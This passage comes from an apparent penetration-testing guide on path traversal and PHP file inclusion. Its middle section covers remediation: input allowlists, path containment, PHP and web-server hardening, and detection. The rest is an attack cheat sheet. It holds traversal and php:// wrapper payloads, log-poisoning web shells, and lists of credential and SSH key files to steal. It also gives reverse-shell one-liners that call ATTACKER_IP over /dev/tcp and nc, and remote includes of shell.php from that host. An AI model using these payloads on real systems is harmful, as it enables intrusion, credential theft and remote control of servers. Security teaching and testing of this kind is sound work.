  PAYLOAD=$(python3 -c "print('../'*$i)")etc/passwd
  RESULT=$(curl -s "http://target.com/?file=$PAYLOAD" | grep -c "root:")
  echo "Depth $i: $RESULT matches"
done

# Wrapper quick test:
curl -s "http://target.com/?file=php://filter/convert.base64-encode/resource=index" \
  | grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d 2>/dev/null | head -20

# Log poisoning full chain:
curl -s "http://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
curl -s "http://target.com/?file=../../../../var/log/apache2/access.log&cmd=id"

18. Remediation

18.1 Input Validation — Allowlist (Primary Control)

<?php
// ALLOWLIST — only permit known-good values:
$allowed_pages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowed_pages, true)) {
    http_response_code(400);
    die('Invalid page');
}

include("templates/" . $page . ".php");

// NEVER:
// include($_GET['page']);
// include("templates/" . $_GET['page'] . ".php");
// include("templates/" . $userInput);
?>

18.2 Path Canonicalization & Containment

<?php
function safe_include(string $userInput, string $base_dir): string {
    // Resolve the real path:
    $base = realpath($base_dir);
    $requested = realpath($base . DIRECTORY_SEPARATOR . $userInput);

    // Ensure resolved path is inside the base directory:
    if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
        http_response_code(403);
        die('Access denied');
    }

    return $requested;
}

$base = '/var/www/html/templates/';
$page = $_GET['page'] ?? '';
$safe_path = safe_include($page, $base);
include($safe_path);
?>
# Python equivalent:
import os

BASE_DIR = "/var/www/html/templates"

def safe_open(user_input):
    requested = os.path.realpath(os.path.join(BASE_DIR, user_input))
    if not requested.startswith(os.path.realpath(BASE_DIR) + os.sep):
        raise PermissionError("Path traversal detected")
    return open(requested).read()

18.3 PHP Configuration Hardening

; /etc/php/*/apache2/php.ini — set these:

; Disable URL-based includes (blocks RFI and data:// / php://input):
allow_url_include = Off
allow_url_fopen = Off   ; only if no legitimate remote file access needed

; Restrict file access to web root:
open_basedir = /var/www/html:/tmp

; Disable dangerous functions:
disable_functions = system,exec,shell_exec,passthru,popen,proc_open,
                    eval,assert,preg_replace_callback,create_function,
                    include,require,include_once,require_once

; Hide PHP errors from users:
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

; Disable unnecessary stream wrappers:
; (no php.ini directive — use disable_functions + custom wrapper disabling)

18.4 Web Server Configuration

# Apache — prevent access to sensitive files:
<FilesMatch "^(\.env|\.git|wp-config\.php|config\.php|php\.ini)$">
    Require all denied
</FilesMatch>

# Block path traversal in URL (before it reaches PHP):
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC]
    RewriteRule .* - [F]
</IfModule>
# Nginx — block traversal sequences:
if ($request_uri ~* "(\.\./|\.\.\\)") {
    return 403;
}

# Restrict sensitive paths:
location ~* "(wp-config\.php|\.env|\.git)" {
    deny all;
}

18.5 Defense-in-Depth

PRIMARY CONTROL:
├── ALLOWLIST — only permit explicitly known-good filenames
├── Never concatenate user input directly into filesystem paths
└── Use realpath() + prefix check to enforce directory containment

SECONDARY CONTROLS:
├── PHP: allow_url_include=Off, allow_url_fopen=Off
├── PHP: open_basedir restricts filesystem access to web root only
├── PHP: disable_functions to prevent dangerous PHP functions
├── Run web server as low-privilege user (www-data, not root)
├── Read-only filesystem mounts for static files where possible
├── Separate writable directories from executable directories
│   → /uploads/ should NEVER be in include path
│   → Uploaded files should not be in web root
└── Strip execute permissions from upload directories

LOG HARDENING (prevent log poisoning):
├── Restrict log file permissions — www-data should NOT read /var/log/
├── Use structured logging (JSON) — harder to inject code
└── Log to syslog / remote syslog server instead of local file

DETECTION:
├── Alert on ../ sequences in request logs (WAF / SIEM rule)
├── Alert on php:// / data:// / expect:// in parameters
├── Monitor file access outside web root (auditd / inotify)
├── Alert on unexpected outbound connections from web process (OOB/RFI)
└── DAST scanning with Burp / ffuf in CI/CD pipeline

19. Master Cheat Sheet

Attack Decision Tree

Found a parameter that loads/displays a file?
│
├── Test basic path traversal:
│   ├── ?file=../../../../etc/passwd
│   ├── Response contains "root:" → PATH TRAVERSAL CONFIRMED
│   └── No output?
│       ├── Try URL encoding: ..%2F..%2Fetc%2Fpasswd
│       ├── Try double encoding: ..%252F..%252Fetc%252Fpasswd
│       └── Try filter bypass: ....//....//etc/passwd
│
├── Is it a PHP application?
│   ├── Test php://filter:
│   │   └── ?page=php://filter/convert.base64-encode/resource=index
│   │       ├── Base64 response → LFI CONFIRMED → decode → read source
│   │       └── No output → try without extension / try deeper path
│   │
│   ├── Try php://input (RCE if allow_url_include=On):
│   │   └── POST body: <?php system('id'); ?>
│   │
│   ├── Try data:// (RCE if allow_url_include=On):
│   │   └── ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
│   │
│   └── Read php.ini / phpinfo to check allow_url_include:
│       └── ?page=../../../../etc/php/*/apache2/php.ini
│
├── LFI confirmed — escalate to RCE:
│   ├── Log poisoning:
│   │   ├── Inject PHP into User-Agent
│   │   └── Include access.log / auth.log / vsftpd.log
│   │
│   ├── /proc/self/environ (if readable):
│   │   ├── Inject PHP in User-Agent → include /proc/self/environ
│   │   └── Enumerate /proc/self/fd/N for open log handles
│   │
│   ├── PHP session poisoning:
│   │   ├── Store PHP payload in session variable
│   │   └── Include /var/lib/php/sessions/sess_SESSIONID
│   │
│   ├── PHPInfo() race:
│   │   └── Multipart upload → read temp file via LFI race
│   │
│   ├── php://filter chain (no file write needed):
│   │   └── Use php_filter_chain_generator.py → instant RCE
│   │
│   ├── File upload + LFI:
│   │   └── Upload polyglot JPG/PHP → include via LFI
│   │
│   └── pearcmd (Docker):
│       └── Include pearcmd.php with config-create → write shell
│
├── Is allow_url_include=On (or RFI suspected)?
│   ├── Test: ?page=http://ATTACKER_IP/shell.php
│   └── If request hits your server → RFI CONFIRMED → immediate RCE
│
└── Collecting intel (no RCE path available):
    ├── /etc/passwd → users
    ├── /etc/shadow → password hashes (if root)
    ├── /home/*/.ssh/id_rsa → SSH keys
    ├── wp-config.php / config.php / .env → database credentials
    ├── /proc/self/environ → environment variables / secrets
    └── Web server config → virtual hosts, other apps, credentials

Quick Payload Reference

# ── PATH TRAVERSAL ──
../../../../etc/passwd                        # Linux basic
....//....//....//etc/passwd                  # filter bypass
..%2F..%2F..%2Fetc%2Fpasswd                  # URL encoded
..%252F..%252F..%252Fetc%252Fpasswd           # double URL encoded
..\..\..\windows\win.ini                      # Windows basic
..%5C..%5C..%5Cwindows%5Cwin.ini             # Windows URL encoded

# ── PHP WRAPPERS ──
php://filter/convert.base64-encode/resource=index           # read source
php://filter/convert.base64-encode/resource=/etc/passwd     # read file
php://input (+ POST: <?php system('id'); ?>)                # RCE
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== # RCE inline
expect://id                                                  # RCE (expect ext)

# ── LFI → RCE ──
# Log poisoning:
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
?file=../../../../var/log/apache2/access.log&cmd=id

# /proc/self:
?file=../../../../proc/self/environ
?file=../../../../proc/self/fd/7

# Sessions:
?file=../../../../var/lib/php/sessions/sess_SESSIONID

# Zip wrapper:
?file=zip://uploads/shell.zip%23shell.php&cmd=id

# Phar wrapper:
?file=phar://uploads/shell.jpg/shell.php&cmd=id

# ── RFI ──
?file=http://ATTACKER_IP/shell.php&cmd=id                   # basic RFI
?file=\\ATTACKER_IP\share\shell.php                         # Windows SMB

# ── HIGH-VALUE FILES ──
../../../../etc/passwd
../../../../etc/shadow
../../../../root/.ssh/id_rsa
../../../../home/USER/.ssh/id_rsa
../../../../var/www/html/.env
php://filter/convert.base64-encode/resource=wp-config       # WordPress creds
php://filter/convert.base64-encode/resource=../config/database
../../../../proc/self/environ
../../../../var/log/apache2/access.log
C:\inetpub\wwwroot\web.config                               # Windows/IIS

ffuf Quick Reference

# Fuzz LFI parameter:
ffuf -u "http://target.com/?FUZZ=../../../../etc/passwd" \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -mr "root:"

# Fuzz LFI value (depth + file):
ffuf -u "http://target.com/?file=FUZZ" \
     -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -fs 0 -fc 404

# Fuzz Windows paths:
ffuf -u "http://target.com/?file=FUZZ" \
     -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Windows.txt \
     -mr "\\[fonts\\]"

Reverse Shell via LFI (Log Poisoning)

# Inject reverse shell payload into log:
curl -s "http://target.com/" \
     -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

# Trigger via LFI:
?file=../../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'

# Listener:
nc -lvnp 4444
rlwrap nc -lvnp 4444     # with readline support
pwncat-cs -lp 4444       # with auto-upgrade

# Alternative — inject full reverse shell directly:
curl -s "http://target.com/" \
     -H "User-Agent: <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f'); ?>"
?file=../../../../var/log/apache2/access.log

← Web top ↑